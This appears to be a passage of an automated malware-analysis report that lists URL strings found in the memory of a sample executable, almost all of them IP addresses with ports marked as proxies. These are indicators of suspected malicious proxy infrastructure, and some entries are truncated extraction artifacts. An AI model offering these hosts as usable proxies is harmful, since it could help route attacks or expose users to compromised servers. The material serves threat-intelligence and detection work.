Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.99.37.195:49613
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.99.37.195:49613://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119941EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.99.37.195:9603
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119941EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.99.37.195:9603://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199563E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.105.124.46:1080
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199563E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.105.124.46:1080://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.106.138.52:3128
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.106.138.52:3128://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119950B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.106.57.7:33429
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119950B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.106.57.7:33429://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997E6F000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.123.252.70:35973
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997E6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.123.252.70:35973://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.136.97.17
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.136.97.17://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.136.97.17:80
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199563E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.138.178.6:8282
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199563E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.138.178.6:8282://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119950E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.201:1080
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119950E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.201:1080://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119950E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.151.109.129:3128
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119950E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.151.109.129:3128://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.151.130.114:8086
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.151.130.114:8086://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199458A000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.151.90.85:16906
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199458A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.151.90.85:16906://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199A9D6000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199AA4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.158.12.138:4153
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995D6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.158.12.138:4153://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199563E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.176.242.186
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199563E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.176.242.186://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199563E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.176.242.186:80
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011999A33000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199AC98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.19.255.21:8080
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011999A33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.19.255.21:8080://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119949E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.231.40.182
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119949E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.231.40.182://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119949E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.231.40.182:80
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998AB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.56.84:8081
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.56.84:8081://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199537B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.58.92:8081
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199537B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.58.92:8081://proxyx
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199AB29000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011993EE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.86.247:3128
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994A6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.86.247:3128://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.86.248:3128
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.86.248:3128://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995596000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.86.249:3128
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995596000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.86.249:3128://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.253.220.32
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119941EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.253.220.32://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119941EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.253.220.32:80
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.26.158.93:27686
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.26.158.93:27686://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994461000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119944A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.31.119.180:55850
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119944A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.31.119.180:55850://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994480000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994495000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.34.93.221:33861
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994495000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.34.93.221:33861://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119950E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.34.95.110:8080
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119950E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.34.95.110:8080://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199458A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.41.88.58:53281
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199458A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.41.88.58:53281://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995CC2000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995BEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.56.255.179:3128
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995C23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.56.255.179:3128://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119993F3000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119997D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.56.255.181:3128
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119993F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.56.255.181:3128://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.57.139.233:3128
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.57.139.233:3128://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.8.8
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.8.87.43:4444
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.8.87.43:4444://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.124.36.74:8080
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.124.36.74:8080://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.124.37.8:8080
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.124.37.8:8080://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199984E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.140.198.23
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119997D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.140.198.23://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119997D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.140.198.23:80
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199415F000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119989D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.145.209.189:8083
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199415F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.145.209.189:8083://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.146.110.228:1080
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119946A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.146.110.228:1080://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.150.69.43:8888
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.150.69.43:8888://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.129.179:11274
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.129.179:11274://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.129.179:16517
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.129.179:16517://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.129.179:21912
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.129.179:21912://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199AA9D000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199AA74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.129.179:31158
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995E16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.129.179:31158://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994711000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.129.179:33093
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.129.179:33093://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.129.179:51212
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.129.179:51212://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995FE4000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994877000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.159.93:46021
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.159.93:46021://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996C5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.186.127.60
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.186.127.60://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.186.127.60:80
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997DB5000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997CAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.186.35.70:3128
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997DB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.186.35.70:3128://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199984E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.213.208.226:8180
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199563E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.213.208.226:8180://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995E16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.69.126:443
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995E16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.69.126:443://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995922000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:30295
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995922000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:30295://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995019000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011993FF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:31681
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119950E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:31681://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995922000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:31893
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995922000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:31893://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199AB29000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199AAEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:33551
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994CD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:33551://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199458A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:34471
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199458A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:34471://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:35760
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:35760://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:35906
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:35906://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995E16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:36431
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995E16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:36431://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996838000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119994D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:39067
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996838000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:39067://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997F48000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997DE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:39833
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997DE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:39833://proxyP
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011999931000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:39852
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011999931000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:39852://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119940E9000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:41119
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:41119://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199563E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:42369
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199563E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:42369://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199563E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:42420
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199563E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:42420://proxy0k
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119994D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:46115
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119994D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:46115://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:49628
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:49628://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119994D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.247.173.17:8080
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119994D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.247.173.17:8080://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011993EE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.31.53.250
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011993EE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.31.53.250://proxyx
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011993EE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.31.53.250:80
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.31.64.44
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.31.64.44://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.31.64.44:80
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.31.79.75:29671
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.31.79.75:29671://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.34.232.107
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.34.232.107://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.34.232.107:80
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.35.118.243:3128
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.35.118.243:3128://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.44.208.62
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.44.208.62://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.44.208.62:80
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199A8AB000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199537B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.44.36.114:6868
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199809D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.44.36.114:6868://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119968DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.67.91.153
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119967C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.67.91.153://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.67.91.153:80
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.8.232.46:4153
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.8.232.46:4153://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199523F000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199860A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.87.186.59:3128
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199860A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.87.186.59:3128://proxy
